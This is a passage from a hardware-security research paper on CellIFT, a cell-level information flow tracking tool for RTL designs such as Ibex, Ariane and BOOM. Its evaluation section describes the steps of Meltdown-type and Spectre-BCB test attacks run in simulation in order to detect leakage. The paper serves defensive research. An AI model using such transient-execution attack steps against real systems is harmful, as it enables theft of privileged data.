results in simulating more elements individually to generate
intermediate signals and limits performance and precision.

Based on Equation 1, precise information flow tracking
can be achieved by trying each possible input Ĩ, filtered by
the input taints It . This can be achieved by replicating 2Ni

instances of C. This canonical design can create precise IFT
logic for any cell, given that it uses copies of the cells.

Figure 3 shows the design of such an IFT logic for a combi-
national cell C with 2 inputs and 3 outputs. The four instances
C00, C01, C10, C11 are identical instances of C supplied with
distinct inputs depending on the input taint assignment. Equa-
tion 2 formalizes these instances as Cv(I, It), with v in un-
signed binary representation. In Equation 2, It has the role of
selector in multiplexers between I and v.

Cv :=Cv(I, It) :=C((I ∧ It)∨ (v∧ It)) (2)

We call such IFT logic architectures m-replica, where m
is the number of instances of the original cell present in the
IFT logic. The canonical m-replica architecture requires an
exponential number of copies of C in the input size Ni. In the
following sections, we specialize this generic structure using
cells’ mathematical properties to improve its scalability.

5 Exploiting the Logical Properties of Cells

We exploit monotonicity (Section 5.1), transportability (Sec-
tion 5.2) and translatability (Section 5.3) properties to en-
hance the performance of replication-based cell IFT logic by
reducing its size without loss of precision.

5.1 Monotonic cells
Prevalent cells such as comparators and some logical reduc-
tions (e.g., multi-bit OR cells) feature a property which we
call monotonicity. Monotonicity allows pruning of the canon-
ical replica-based IFT logic to obtain a constant-complexity
2-replica IFT logic. We define three monotonicity properties:

0    1

0    1

0    1

0    1

0    1

0    1

0    1

0    1

2 6 26

22

Figure 3: IFT logic for a cell C with 2 input bits and 3 output
bits. The wires corresponding to the highest order output bit
are omitted, and those of the second output bit are dashed.
Stage (1) replaces the tainted inputs with all possible value
combinations. In stage (2), C is replicated 2Ni times to take
all input combinations. Stage (3) compares the outputs of all
replicas. Finally, for each output bit index, a taint is set if two
replicas have different output bits at the corresponding index.

1. bitwise non-decreasing. A cell is bitwise non-decreasing
in input offset j if no output bit of the cell can fall from
1 to 0 when I j is raised from 0 to 1. For example, an OR
cell is bitwise non-decreasing in all its input bits.

2. bitwise non-increasing. A cell is bitwise non-increasing
in input offset j if no output bit of the cell can raise from
0 to 1 when I j is raised from 0 to 1. For example, an
inverter cell is bitwise non-increasing in all its input bits.

3. bitwise monotonic. A cell is monotonic if with respect
to each of its input bits, the cell is non-increasing or
non-decreasing.

IFT logic for bitwise non-decreasing cells. Let C be bit-
wise non-decreasing in all its input bits. We build a 2-replica
IFT logic using polarization as described in Equation 3.

Y t =C0...0 ⊕C1...1 (3)
Proof. Let C be a bitwise non-decreasing cell in all its input
bits. Let 0 ≤ j < No (No is the output width of the cell),
and consider a fixed input taint vector It . If the output bit
Yj is zero for some input I, then Yj is also zero for the input
Ĩ0 := I ∧ It given the non-decreasing property. Conversely, if
Yj is one for some input value Ĩ such that I∧ It = Ĩ∧ It (i.e., I
and Ĩ differ only on tainted bits), then Yj is also one for the
input Ĩ1 := I ∨ It , again given the non-decreasing property. It
follows that all output bits that can be toggled by applying two
inputs I and Ĩ of tainted bits are also toggled between applying
Ĩ0 and Ĩ1. This allows us to reduce m-replica to 2-replica using
polarization: Y t =C(Ĩ0)⊕C(Ĩ1) =C0...0 ⊕C1...1.
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Table 2: 2-replica-based instrumentation of monotonic cells.
Logical reductions represent multi-input OR or AND cells
with single output. Comparisons represent <, ≤, ≥ and >.

Cell Replica 1 Replica 2
Reductions C0...0 ⊕ C1...1

Unsigned comparisons C00.0;11.1 ⊕ C11.1;00.0

Signed comparisons C10.0;01.1 ⊕ C01.1;10.0

Bitwise

Bitwise

a)

Transportability 
support

Polarization

Bitwise

Bitwise

b)

Transportability 
support

Polarization

Figure 4: 2-replica-based IFTL for a) an adder cell and b) a
subtractor cell.

IFT logic for bitwise monotonic cells. We now extend po-
larization to all bitwise monotonic cells. If C is non-increasing
with respect to an input bit at index i, then it is non-decreasing
in the negation of this input bit. Because bit inversion does
not affect taint propagation, any monotonic cell can similarly
be instrumented according to Equation 4, where di := 1 if C is
non-decreasing in input bit i, and di := 0 if C is non-increasing
in input bit i.

Y t =CdNi−1...d0 ⊕CdNi−1...d0 (4)

Summary. Table 2 shows the 2-replicas used to instru-
ment logic reductions and comparisons. Unsigned compar-
isons, and or-/and-reductions are bitwise non-decreasing cells
in all input bits. Signed comparison cells are bitwise non-
decreasing on all bits except the most significant bit of the
operands, which is non-increasing.

5.2 Transportable cells
Abundant arithmetic cells such as addition and subtraction
cells can be instrumented in constant complexity thanks
to their transportability property. Transportable cells have
the same width for each operand, and information from an
operand bit always flows to the corresponding output bit. We
can instrument these cells using polarization (similar to mono-
tonic cells) complemented with transportability-supporting
IFT logic that implements a conjunction of the input bits.

5.2.1 Adder cells

We design the IFT logic of the adder cell as described by
Equation 5 and illustrated in Figure 4-a using polarization
conjuncted with the transportability term At ∨Bt . Appendix B
provides a proof of correctness and precision of this architec-
ture. Our proof considers a ripple carry adder which exposes

$eq(a)

A =

B =

$eq 0(b)

A =

B =

Figure 5: Examples of an equality (a) with tainted output,
and (b) without a tainted output. The equality cells compare
the top input bits with the corresponding bottom input bits.

an induction property in the taint propagation from the least
significant bits to the most significant bits of the operands A
and B. This proof generalizes to any adder implementation,
since different architectures provide the same mathematical
function for addition.

Y t =
[
C0...0 ⊕C1...1]∨At ∨Bt (5)

5.2.2 Subtractor cells

Similarly to the adder cell, we base the IFT logic of the sub-
tractor cell on a 2-replica polarized architecture supplemented
with transportability logic to form the IFT logic given in Fig-
ure 4-b. The first polarization term takes operand A with
tainted bits set to zero and operand B with tainted bits set
to one, and conversely for the second polarization term. A
proof by induction in all aspects is similar to the proof given
in Appendix B since subtraction can be formulated for this
architecture based on the identity A−B = A+B+1.

5.2.3 Negation cells

We define I as the data concatenation of the inputs (i.e.,
{A,B}), and It as the taint input concatenation (i.e., {At ,Bt})
The negation cell defined by Y = I+1 exposes the same prop-
erty as an adder, except that there is a single operand and
no carry bit in the negation cell. Therefore, we instrument it
in constant complexity using the same polarization replicas,
conjuncted with the transparency term It that corresponds to
a single operand.

5.2.4 (In)equality cells

(In)equality cells are transportable under the condition that
all non-tainted bit pairs are equal. More precisely, the output
bit of an (in)equality cell is tainted if and only if the two
following conditions are fulfilled: 1. At least one input bit
is tainted. 2. For each operand position where no input bit is
tainted, the two input bits are equal.

Figure 5 shows two equality cells. The equality cell (a) has
its output tainted because it fulfills the two conditions. How-
ever, cell (b) has its output non-tainted, because the leftmost
bits do not match and are not tainted. Note that the value
of tainted input bits never matters. We design the IFT logic
of the equality cell as in Equation 6, where TAB := At ∨Bt

represents which bits are neither tainted in A nor in B. The
term

∨
It , where It := {At ,Bt}, is one if and only if any of

the input bits is tainted.

Y t =C(A∧TAB;B∧TAB)∧
∨

It (6)
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Table 3: 2-replica-based instrumentation of transportable (ad-
dition, subtraction, negation) or conditionally transportable
(equality, inequality) cells.

Cell Polarization Junction Transportability
Add C0...0 ⊕C1...1 ∨ At ∨Bt

Sub C0.0;1.1 ⊕C1.1;0.0 ∨ At ∨Bt

Neg C0...0 ⊕C1...1 ∨ It

Eq/Neq C(A∧TAB;B∧TAB) ∧
∨

It

5.2.5 Summary

We summarize the IFT logic of transportable and condition-
ally transportable cells in Table 3.

5.3 Translatable cells
Some cells do not present powerful properties such as mono-
tonicity or transportability for generating efficient and pre-
cise IFT logic. In this section, we take a different approach
to tackle the problem: instead of relying on the replication
mechanism immediately, we consider each output bit, and
examine which input condition results in tainting output bits.

5.3.1 Input decomposition
Examining each output bit of a cell and its relationship with
input taints and values results in complex formulas that are
not efficient to implement for wide-input cells that can be
present in real digital designs. It is often convenient to make
simplifying assumptions such as some operand being non-
tainted. For instance, for the left shift operator A ≪ B, if we
assume that Bt = 0, then Y t = At ≪ B. We show that the
combination of two properties, namely translatability and
taint combination surjectivity, allows us to construct new
architectures that support such simplifying assumptions.

Translatability. A two-input cell C is said to be right side
translatable (over addition) if it satisfies Equation 7 for all
inputs A and B.

C(A,B′+B′′) =C(C(A,B′),B′′) (7)

As an example, a left shift by an unsigned offset provides
this property: A ≪ (B′+B′′) = (A ≪ B′)≪ B′′.

Additionally, the following decomposition holds: B = B0 +
B∧Bt , where B0 := B∧Bt (i.e., B where all the tainted input
bits are zeros). This leads to Equation 8, which has two
instances of C on the right-hand side: one instance with a
non-tainted second operand B0, and one instance where all
non-tainted bits of the second operand are zero.

C(A,B0 +B∧Bt) =C(C(A,B0),B∧Bt) (8)

Taint decomposition surjectivity. Equation 7 relies on
cell composition. However, it is known that in the general
case, cell composition does not preserve precision of the IFT
logic [2,67]. We introduce the taint decomposition surjectivity
property: a cell’s IFT logic L is taint decomposition surjective
if and only if precision is unaffected when performing IFT

Table 4: 1-replica-based instrumentation of translatable cells.
The IFT logic is the sequence of two components. Shift cells
in this table have an unsigned interpretation of B.

Cell Comp. 1 Comp. 2 (bitwise)
≪ C(A,B0) ∨2NB −1

k=0

([
B t
= k

]
∧
[

A j
t
̸= A j−k

])
≫ (logic) C(A,B0) ∨2NB −1

k=0

([
B t
= k

]
∧
[

A j
t
̸= A j+k

])
≫ (arith) C(A,B0) ∨2NB −1

k=0

([
B t
= k

]
∧
[

A j
t
̸= Amin( j+k,NA−1)

])

through this cell. Assuming k output bits are tainted, if L can
generate the 2k outputs by changing the data at tainted input
bits, then L is taint decomposition surjective. In Appendix D,
we formalize this property, and use it to prove the precision
of the IFT logic for unsigned-offset logical shift cells.

5.3.2 Logical unsigned-offset shift cells
We show that logical shifts by an unsigned offset C(A,B) :=
A ≪ B, or C(A,B) := A ≫ B can be decomposed in two suc-
cessive shifts, each instrumented separately, without losing
precision. We proceed according to Equation 8, which implies
decomposing C into two cells copies, instrumented separately:
the first cell in the decomposition is C(A,B0), where the offset
B0 is independent of the tainted value assignments. The IFT
logic for this replica is given by C(At ,B0), i.e. At ≪ B0 and
At ≫ B0 for logical left and right shifts respectively.

The second cell in the decomposition is C(A′,B ∧ Bt),
where A′ is the output of the first cell. In Appendix C, we
provide a precise bitwise IFT logic for this second cell. Be-
cause logic unsigned-offset shift cells are taint combination
surjective as shown in Appendix D, the sequence of the two
IFT logics is precise.

5.3.3 Arithmetical unsigned-offset shift cells
The arithmetical unsigned-offset shift cell benefits from the
same right-side translatability as the logical shifts. We de-
compose them in two cells before instrumentation, similarly
to their logical shift counterparts. The only difference is the
propagation of the most significant bit. The IFT logic of the
first cell is identical to the logical counterpart. Appendix C
provides a bitwise IFT logic of the second cell.

5.3.4 Summary
In this section, we used the translatability property to de-
compose some cells into two identical cells with simplifying
assumptions on operands as summarized in Table 4, while
preserving perfect precision.

6 Implementation

In this section, we provide additional details and describe the
implementation of CELLIFT.

6.1 CELLIFT flow implementation
We integrated CELLIFT into the Yosys synthesizer as a syn-
thesis pass over the design’s internal representation. Since
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Yosys does not have a complete understanding of all the Sys-
temVerilog constructs, we first pre-process the designs using
the open-source sv2v tool that converts SystemVerilog (IEEE
1800-2017) to Verilog (IEEE 1364-2005) [61]. We refer to
the processing by Yosys as the instrumentation step.

For simulation, we use the open-source Verilator simula-
tor [73]. For emulation, we use Xilinx Vivado. We refer to
the processing by Verilator to produce a simulation binary, or
the processing by Vivado until the end of the FPGA imple-
mentation, as the synthesis step.

The CELLIFT Yosys pass is made of 4575 lines of C++
code. CELLIFT supports a total of 181 Yosys cell types, of
which many are variations of state-holding elements with re-
set, enable and clear signals. 8 unsupported cell types are
memories and their ports, because they are substituted in a
previous stage and do not reach the CELLIFT pass. The 33
remaining cell types are not supported because they have
never been encountered when experimenting on various het-
erogeneous designs. Next, we provide more information on
how we support memories in CELLIFT and describe simple
techniques for instrumenting the remaining cells other than
the ones described in Section 5.

6.2 Instrumenting other cells
Memory models. In digital designs, memories are typi-
cally substituted with specific components depending on the
design’s target: simulation model (simulation), block RAM
(FPGA), or SRAM (ASIC). CELLIFT implements memory
models with conservative IFT rules as follows: (a) Taints
are written and read along with the corresponding data. (b)
Memory read from a tainted address also returns a tainted
value. (c) Memories are marked fully tainted as soon as the
inputs and their taints authorize a write operation to a tainted
address. We also implemented memory models that only per-
form explicit tainting, i.e., when only rule (a) applies. This
allows us to learn which microarchitectural components are
dependent on the tainted address of a load instruction.

Lower-level cells. Exclusive ORs propagate taint as soon
as at least one input bit is tainted. Logic gates ((N)ANDs,
(N)ORs and inverters) are parametrizable in width to profit
from wider instructions on the simulating machine. Multi-
plexers with multiple selector bits are decomposed into a tree
of single-bit selector multiplexers without losing precision.
Then, for a multiplexer of formula Y = S?B : A, we design
the IFT logic expressed in Equation 9, where S, S and St are
replicated to have the same width as A and B.

Y t = (At ∧S)∨ (Bt ∧S)∨ ([A⊕B]∧St) (9)

6.3 Imprecise cell instrumentations
Imprecise shift cells. As opposed to their unsigned coun-
terpart, signed-offset shift cells are not right-side translatable.
Because a precise implementation of these shift cells is expen-
sive, CELLIFT implements a replication-based approximate

propagation policy: taint Y completely whenever B is tainted,
else shift the taints of A by B.

Additionally, on all the designs that we considered, we
noted that right shifts are never larger than 10 bits, whereas
left shifts are often larger in five reference open-source de-
signs. Therefore, for unsigned shift offsets, in CELLIFT we
instrument right shifts precisely and left shifts imprecisely.

Imprecise multiplier cell. As proposed in [2], we decom-
pose the multiplier into a sequence of adders before instru-
menting it. This results is an imprecise IFT logic, but this is
does not affect overall precision much since multipliers are
mostly present only on data paths. For emulation targets, to
decrease the critical paths we used a shadow logic made of a
single OR reduction, without practical decrease in precision.

6.4 Summary
CELLIFT instruments all the 22 combinational cell types that
we encountered in our diverse experiments. From these 22
cell types, 3 are similar to GLIFT when they have a single bit
per input. Appendix A summarizes the cell composition of
non-instrumented, and instrumented designs.

7 Evaluation

In this section, we evaluate CELLIFT in terms of performance,
precision and completeness by instrumenting heterogeneous
and complex designs. We use microbenchmarks to show how
CELLIFT compares in terms of precision and scalability with
previous work [2, 67] (Section 7.1). To show the scalability
of the instrumentation phase, we instrument five heteroge-
neous designs of various complexities (Section 7.2). To show
the performance and precision of CELLIFT-instrumented
designs, we simulate standard RISC-V benchmarks (Sec-
tion 7.3). Finally, we show FPGA portability of the CELLIFT-
instrumented designs (Section 7.4).

Evaluation setting. The performance results were obtained
on a machine equipped with an AMD EPYC 7H12 proces-
sor at 2.6 GHz equipped with 256 logical cores and 1 TB of
DRAM. We used Verilator 4.212 and g++11.2 with the -O0
compiler flag similar to what is used for certain OpenTitan de-
signs [44, 45]. Using compiler optimizations causes spurious
segmentation faults in the Verilator simulation binaries.

Baselines. To the best of our knowledge, no mature open-
source or transparent-enough commercial implementations
of gate-level or language-level hardware IFT is available.
Therefore, we implemented GLIFT as described in the orig-
inal paper [67] for comparison purposes. As the authors of
RTLIFT [2] were reluctant to share their implementation or
provide additional details, we re-implemented the few oper-
ators described in [2]. Our implementation reproduces their
operator-level performance and precision results.

2556    31st USENIX Security Symposium USENIX Association



0

50

Ti
m

e 
(m

s)

 

0

10

20

 

0

2500

5000

 

0

1

 

0

2

4
 

0

20

 

0 16 32 48 64
Adder

0

250

500

Ta
in

t (
m

illi
on

 b
its

)

0 16 32 48 64
Left Shift

0

250

500

0 16 32 48 64
Multiplier

0

5

0 16 32 48 64
Reduce OR

0

2

4

0 16 32 48 64
Reduce XOR

6

8

10

0 16 32 48 64
Greater Than

6

8

Performance CellIFT Performance GLIFT Performance RTLIFT Precision CellIFT Precision GLIFT Precision RTLIFT

Figure 6: Cell microbenchmarks: runtime performance (top) and precision (bottom) depending on the cell input width, measured
from 10 parallel identical cells to reduce time measurement noise. Reduce cells are multi-bit input, single-bit output logic cells
(e.g., AND). Precision numbers represent the cumulative number of tainted output bits. The left shift cell has an 8 bits wide
offset operand, which is common in the designs that we examined. RTLIFT only instruments add and mul.

192
196 

Ibex Rocket PULPissimo Ariane BOOM
0

10
20
30
40
50
60
70
80
90

Du
ra

tio
n 

(m
in

ut
es

)

Original
CellIFT

GLIFT (failed)
GLIFT

220
240

220
240

125

150

125

150

Ibex Rocket PULPissimo Ariane BOOM
0

10

20

30

40

50

 

Ibex Rocket PULPissimo Ariane BOOM
0

10

20

30

40

50

RA
M

 h
ig

h 
wa

te
rm

ar
k 

(G
B)

Original CellIFT GLIFT

Figure 7: Top: duration of Yosys instrumentation and Verila-
tor synthesis. Hashed rectangles represent synthesis. Bottom:
RAM usage of each mechanism on each design. Left: instru-
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7.1 Microbenchmarks

To evaluate the performance and precision of CELLIFT, we
instrument and simulate individual combinational cells with
various widths to evaluate scalability. We apply one million
random inputs to each cell and randomize the taint bits. We
measure precision by counting the tainted output bits.

Figure 6 shows the performance and precision results
of cell microbenchmarks: CELLIFT provides a massive
speedup in simulation over existing mechanisms. RTLIFT
and CELLIFT-instrumented adders and multipliers have the
same precision, whereas CELLIFT-instrumented cells are
faster. By design, left shifts suffer from poor precision in
this benchmark, which is based on randomly tainting all input
bits: we traded off some empirically superfluous precision in
this cell for speed. This design point is not fundamental as we
showed a perfectly precise shift implementation in Section 5.
All the other cells are instrumented at least as precisely as
GLIFT and RTLIFT. Comparison cells are more precise with
CELLIFT compared to GLIFT. Since these cells can have

large taint fanouts, this precision improves overall taint re-
sults significantly, which is crucial in practical scenarios as
we will show in Section 8. Superior scalability of CELLIFT is
made evident by its steadily low runtime for any cell width.

7.2 Instrumentation
Configurations. We built simple SoCs for Ibex [43] (in
its default Small configuration) and Ariane [76] (with 4-way
associative 8 kB instruction and data L1 caches) by adding
memory models and protocol adapters at the design top levels
(caches remain untouched), and inserted memory models in
PULPissimo (Hack@DAC’18 version) in place of the L2
SRAM. We used the Rocket chip generator to create a SoC to
interface with the Rocket core [3] and the BOOM core [12]
with reduced cache sizes. These configurations allow us to run
standard software on these designs. We additionally replaced
PULPissimo’s technology-dependent oscillator with a model.
Code and data are preloaded into the memory models prior to
any measurement.

Performance. We attempt to instrument and synthesize
each design with both CELLIFT and GLIFT, and report the
wall clock durations and the resident memory consumption in
Figure 7. Verilator failed to synthesize Ariane (out of mem-
ory) and BOOM (timeout after 96 hours) instrumented with
GLIFT due to the excessive complexity of the GLIFT instru-
mentation. While piecewise instrumentation of Ariane by
GLIFT at a greater engineering cost could lead to an eventu-
ally successful gate-level instrumentation, these results make
the limitations of gate-level instrumentation apparent.

7.3 Benchmarks
We run a standard series of RISC-V benchmarks [57] on each
design to assess the performance and precision of CELLIFT.
We run the single-threaded benchmarks, where we skip the
pmp benchmark, which is not supported by Ibex in its default
configuration. We taint some relevant part of each benchmark:
the first data element in median, mm, multiply, qsort, rsort
and spmv, the first instruction in dhrystone, and the number of
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Figure 8: Top: average wall clock slowdown of the RISC-
V benchmarks of each design compared with the original
designs. Bottom: number of tainted stateful elements on Ibex.

discs in towers. Because running benchmarks on a simulated
RTL takes very long, we resized the benchmarks’ inputs so
that each experiment point finishes under 30 minutes. This
translated to simulating 4 M cycles for Ibex, 200 k cycles for
PULPissimo, and 40 k cycles for Ariane, Rocket and BOOM.
As we will show in Section 8 simulating this number of cycles
is enough to enable many interesting scenarios.

Figure 8 shows the performance results on all designs and
the number of tainted stateful elements (i.e., precision) on
Ibex. Since the performance variation between the bench-
marks is small, we only indicated the average and standard
deviation between the benchmarks. CELLIFT is significantly
faster than GLIFT in simulation. Regarding precision, some
benchmarks such as multiply taint the control flow in Ibex, re-
sulting in abundant tainting [67]. Manual investigation shows
that some ALU operations influence subsequent branch pre-
dictions, which CELLIFT legitimately revealed. CELLIFT’s
precision allows exploration of different scenarios in Section 8
without observing any false positive.

7.4 FPGA emulation
While we optimized CELLIFT’s shadow logic for simulation,
we show-case its flexibility by porting the five instrumented
designs to an FPGA. For the FPGA flow, we use Vivado-2019-
03 on a machine equipped with a Intel Xeon Gold 6146 CPU
with 48 logical cores at 3.20 GHz with 196 GB of DRAM, for
licensing reasons. We target a xcvu440-flga2892-3-e FPGA
at 100MHz. We set a time limit of 48 hours for the synthesis.
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Figure 9: FPGA results. Left: Achieved FPGA frequency.
Right: 6-input lookup table usage.

Results. We successfully port the CELLIFT-instrumented
designs to the target FPGA. The synthesis of GLIFT-
instrumented BOOM requires 27.57 hours and Ariane times
out still at an early stage. With CELLIFT, it lasts respec-
tively 5.93 and 4.57 hours to synthesize BOOM and Ariane.
Figure 9 summarizes the achieved frequencies and resource
requirements for each design. CELLIFT usually shortens the
critical path compared to GLIFT, providing a frequency in-
crease of up to 39% over the state of the art. Only PULPissimo
shows a slight frequency decrease of less than 5%. We ob-
tain an FPGA acceleration over simulation of 256.2 k× and
94.1 k× for Ariane and BOOM respectively. Since CELLIFT
is the only dynamic IFT mechanism to instrument Ariane and
to port it to an FPGA, and improves frequency and utilization
compared to the state of the art, these results advocate for a
cell-level (or higher) instrumentation for FPGA emulation.

7.5 Summary
We showed that CELLIFT is at least as precise and signifi-
cantly faster than the state of the art. It can instrument designs
that were so far inaccessible to the existing solutions, with-
out aggressive and imprecise approximations [30]. In the
next section, we show some of the new opportunities offered
by CELLIFT thanks to its completeness, correctness, perfor-
mance, and precision.

8 Scenarios

We now show how CELLIFT could be used to enable new
applications. While there are many applications possible with
hardware dynamic IFT, here we focus on detecting different
classes of hardware vulnerabilities with CELLIFT.

8.1 Discovering microarchitectural leakage
Changes made to the microarchitectural state from secret-
dependent data or control paths can be exploited to leak se-
cret data [40, 52, 75]. Cache partitioning schemes attempt to
mitigate such attacks [26, 39, 78], but there are other compo-
nents that can leak information, such as Translation Looka-
side Buffers (TLBs) [25] or branch prediction schemes [18] to
name a few. CELLIFT can be used to detect microarchitectural
components that can leak information. This information is
valuable for both attackers looking to discover a new source
of leakage and for the defenders that want to protect the com-
ponents that might leak sensitive information. We execute a
memory load of some tainted data in memory. The taint prop-
agation in the design gives us a cycle-accurate knowledge of
when, and which bits of the design are tainted.

Figure 10 shows a chronological list of the components that
become tainted in designs that we have instrumented with
CELLIFT. We make several observations. First, taints make
it very easy to see when any buffer in the design contains
sensitive information. Second, taints provide a convenient
way of measuring latencies in a system. We detected that

2558    31st USENIX Security Symposium USENIX Association



RF

Cycle

0 SRAM

1

2

3

4

Ibex 

dcache

PTW LSU

Scoreboard

RF

SRAM

Ariane

TL adapt RF

SRAM

LSU

PULPissimo 

buffer

RF

SRAM

Rocket

dcache 
memory arrays 

(aka. mem) 

buffer

SRAM

BOOM

dcache 
Miss Status

Holding
Registers 
line buffer 

9 ...

10 PTW RFPTW

dcache mem

dcache iobuf

11

12

dcache respque

Figure 10: Affected microcomponents for a load with tainted
address or tainted data. RF: Register File, TL: TileLink, LSU:
Load-Store Unit, PTW: Page Table Walker.

PULPissimo and Ibex load data in a single cycle, while the
other designs require respectively 4, 10 and 10 cycles. Third,
privilege level and page misses do not affect which compo-
nents are tainted in any of the considered designs. Finally,
CELLIFT is precise in this scenario since the control flow was
legitimately never tainted.

8.2 Detecting Meltdown-type vulnerabilities
Meltdown-type vulnerabilities have been haunting CPUs
since their introduction in 2018 [1, 8, 11, 38, 55, 56, 59, 69,
71, 72] At the core, this class of vulnerabilities allows an in-
valid load to transiently access data from a different (higher)
privilege level. CELLIFT can detect such loads by checking
that that they do not access data from a higher privilege.

Ariane. Ariane features an MMU and may suffer from Melt-
down, Foreshadow or MDS [8, 11, 38, 59, 71]. We craft the
following test cases to trigger these three potential issues:
1. An unprivileged load of a supervisor page (triggering Melt-
down [38]). 2. An unprivileged load of a supervisor page with
the present bit unset (triggering Foreshadow [8]). 3. A load
from an invalid address without the address bits in the page
table entry (triggering MDS [11, 59, 71]).

To see which of these cases trigger the relevant problem,
we taint a target (supervisor) memory page and configure the
page table entry according to one of the above scenarios. Prior
to measuring the malicious load, we access the tainted page to
ensure it is in the cache, and possibly in the microarchitectural
buffers that also have been used for it. The results from these
different cases show that in none of the cases signals get
tainted as a result of the malicious access, showing that Ariane
does not suffer from Meltdown-type vulnerabilities in any of
these specific cases. We contacted the authors who confirmed
our observations that Ariane indeed does not suffer from this
class of vulnerabilities.

BOOM. BOOM v2.2.3 was reported to be susceptible to
Meltdown-type vulnerabilities [24]. We instrument the exact
same version, and use CELLIFT for detecting Meltdown-type
leakages. Contrary to previous work [24], we do not use any

Figure 11: Tainted bits in a BOOM SoC. Top: Meltdown-
type leak: (1) Tainted privileged data is brought into the L1
cache. (2) The user loads the privileged data into a physical
register. (3) The user immediately attempts to load using the
tainted data as an address. This load is either allowed (orange,
realigned) or forbidden (blue). Bottom: Spectre-type leak (at
cycle 700) occurs if the speculation window is large enough.

knowledge of the design’s microarchitecture. We run a simple
Meltdown experiment by transiently loading privileged data in
unprivileged mode and using it as an address for a subsequent
load. We ensure that the privileged page table entry is present
in the TLB, and we taint the privileged word. Given that the
load address will be tainted, a load will spread taint to all
sets of the L1 cache among other elements. Conversely, if
we see no taint in the cache, we know that the load fails, and
any leakage from this load cannot be observed using a cache
covert channel in a later stage.

In our experiments, we observe that when the user tries to
load privileged data, (a) If the data is not in the L1 data cache,
then the data is fetched into the cache’s load buffer regardless
of any privilege mismatch, and (b) If the data resides in the L1
data cache already, then the data is loaded into the physical
register file. According to [24], these constitute a Meltdown-
type leaks of L and R classes, respectively.

To assess exploitability, we first establish a benign base-
line. We first do a legal load of a tainted address (orange
curve in Figure 11, top). As predicted, this taints a large
number of elements. Next, we repeat this experiment with a
secret-dependent load, using the privileged (tainted) data as
an address. Figure 11 summarizes the taint propagation dur-
ing the attack, aligned on the load event. We observe that the
taint propagation is blocked when the page table entry shows
a privileged page (blue curve), and the level of tainting is im-
mediately restored as it was before the malicious load. While
exploitability remained an open question in [24], this result
shows that in this specific case (R1 [24]), the leakage is not ex-
ploitable because it does not leave any observable change. We
repeated the exact same experiments on the newest version of
BOOM (v3.0), and draw the exact same conclusions.

8.3 Detecting Spectre-type vulnerabilities
To show how CELLIFT can detect Spectre in complex designs,
we consider a Spectre-BCB exploit on BOOM where we taint
the secret data. Our exploit consists of two steps, visible in

USENIX Association 31st USENIX Security Symposium    2559



Figure 11 (bottom). First, the secret is brought to the L1 data
cache. Second, the data is speculatively loaded into the phys-
ical register file. We run two experiments. In the first case,
the mispredicted branch relies on a simple condition (solid
line in figure). In the second case, this branch condition is
made more complex by adding four dependent floating-point
divisions, as in a reference exploit [7], which enlarges the
period of speculative execution (dashed line). Intuitively, the
first experiment may not reveal Spectre-type leakage because
the speculation window may be too short. We observe that the
Spectre-type leakage only happens in the second experiment,
consistent with this intuition. As opposed to classical tech-
niques such as [7], CELLIFT does not require a cache attack
to assess whether data leaks to microarchitectural elements.

8.4 Detecting architectural vulnerabilities
We show how simple policies built on top of CELLIFT can
detect a large number of bugs in the PULPissimo-based faulty
design used in the Hack@DAC’18 contest, some of which are
not detectable by common verification flows. Detailed bug
descriptions are provided in the corresponding paper [17].

Address space violations. We build two policies that check
for correct behavior in the interfaces of the memory-mapped
components: (a) All components in the address map must
comply to the specified boundaries. (b) No aliasing must
occur; may it be in the specification or because of an imple-
mentation bug. To force these policy checks in the CELLIFT-
instrumented design, we perform store operations of tainted
data from the CPU to the addresses before and after each ad-
dress space boundary. These policies reveal bugs 1, 2, 6, 8 and
22 which could not be expressed by either SPV or FPV [17].

Reachability violations. Our reachability policy checks
that certain instructions do not affect certain components by
executing a tainted instruction. Then, after N cycles, all the
components that can be affected by the CPU are tainted. This
allows us to check the integrity and reachability of compo-
nents against a specification, revealing bugs 4 and 27. We did
not find bug 24 with this method, although we had expected
it. Manual code inspection and simulation showed that the
bug was not present in the open-source version of the faulty
design [27]. Similarly, we discovered that bug 7 was inserted
in a module which is never instantiated in the design.

Reset violations. The reset policy checks that the reset sig-
nal clears the state in the design. We check for the violations
of this policy by tainting state holding elements in the design,
and then applying a reset signal. This reveals which registers
and buffers are not cleared during reset, and which ones are
accidentally cleared. This reveals bug 5, but not bug 12 (the
corresponding register has been optimized out because it was
not used and not connected to a clock or reset signal) and bug
16, which lacks a clear specification.

Privilege violations. Our privilege policy checks that in-
structions execute at the right privilege level according to the
specification. We check for violations by executing a tainted
instruction. Because an unprivileged user requires to trap to
supervisor mode to access privileged locations, these loca-
tions will be tainted some cycles after unprivileged locations.
We did not see such an expected timing difference in tainting
of the CSRs (Control and Status Registers), which hinted to
the existence of bug 25.

Summary. We showed that the ability of CellIFT to instru-
ment a complete design efficiently and precisely enables the
implementation of novel techniques to detect bugs; some of
these bugs are known to be difficult or impossible to express
in SPV [9] and FPV [22, 23]. For completeness, we like to
mention that hardware dynamic IFT is not suitable for de-
tecting hardcoded design parameters (e.g., bugs 15 and 19)
or checking functionality (e.g., bugs 9 and 15). Some bugs
such as 11, 13, 14 and 20, 30 or 31 require more advanced
policies. We leave the design of systematic methods to detect
such bugs as future research.

9 Discussion

We discuss some observations we made while developing
CELLIFT and provide more information for its future users.

Maturity of the open source flow. During the course of
this work, we provided feedback to the developers of Verila-
tor [73] and sv2v [61]. None of these two tools was originally
mature enough for the dynamic IFT flow to complete for all
the designs under study. These tools have been improved ac-
cording to our feedback and have reached a sufficient maturity
to instrument the complex designs that we evaluated.

Applications. CELLIFT aims to provide scalable hardware
dynamic IFT. Alone, this mechanism does not aim at dis-
covering new microachitectural vulnerabilities: an important
additional element is the scenarios running on top of CELLIFT.
These scenarios go beyond the verification of handcrafted in-
formation flow policies. As an example, CELLIFT can be
leveraged to provide a new coverage metric, enabling the de-
velopment of new hardware fuzzers, which are still in their
infancy [68]. Another example is enabling system-wide con-
fidentiality and integrity policies for generic processors. We
leave the exploration of these directions to future work.

Instrumentation effort. CELLIFT can instrument any dig-
ital design without modification, after parsing by the Yosys
SystemVerilog parser [74] into intermediate cells. However,
it is common not to synthesize the memories, and to instead
replace them with a model. Typically, the option of ignoring
memories during synthesis is available, as this is common
practice when mapping a design to an FPGA or to an ASIC
flow, where memories are mapped to specific components.
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10 Related work

We briefly discuss work related to CELLIFT in five areas.

Hardware dynamic IFT. GLIFT [67] is the first hardware-
level dynamic IFT mechanism and operates at gate level. Pre-
vious work discusses the scalability problems of GLIFT [33]
and our results indeed show that it does not scale to the state-
of-the-art RISC-V processors. Various techniques try to ad-
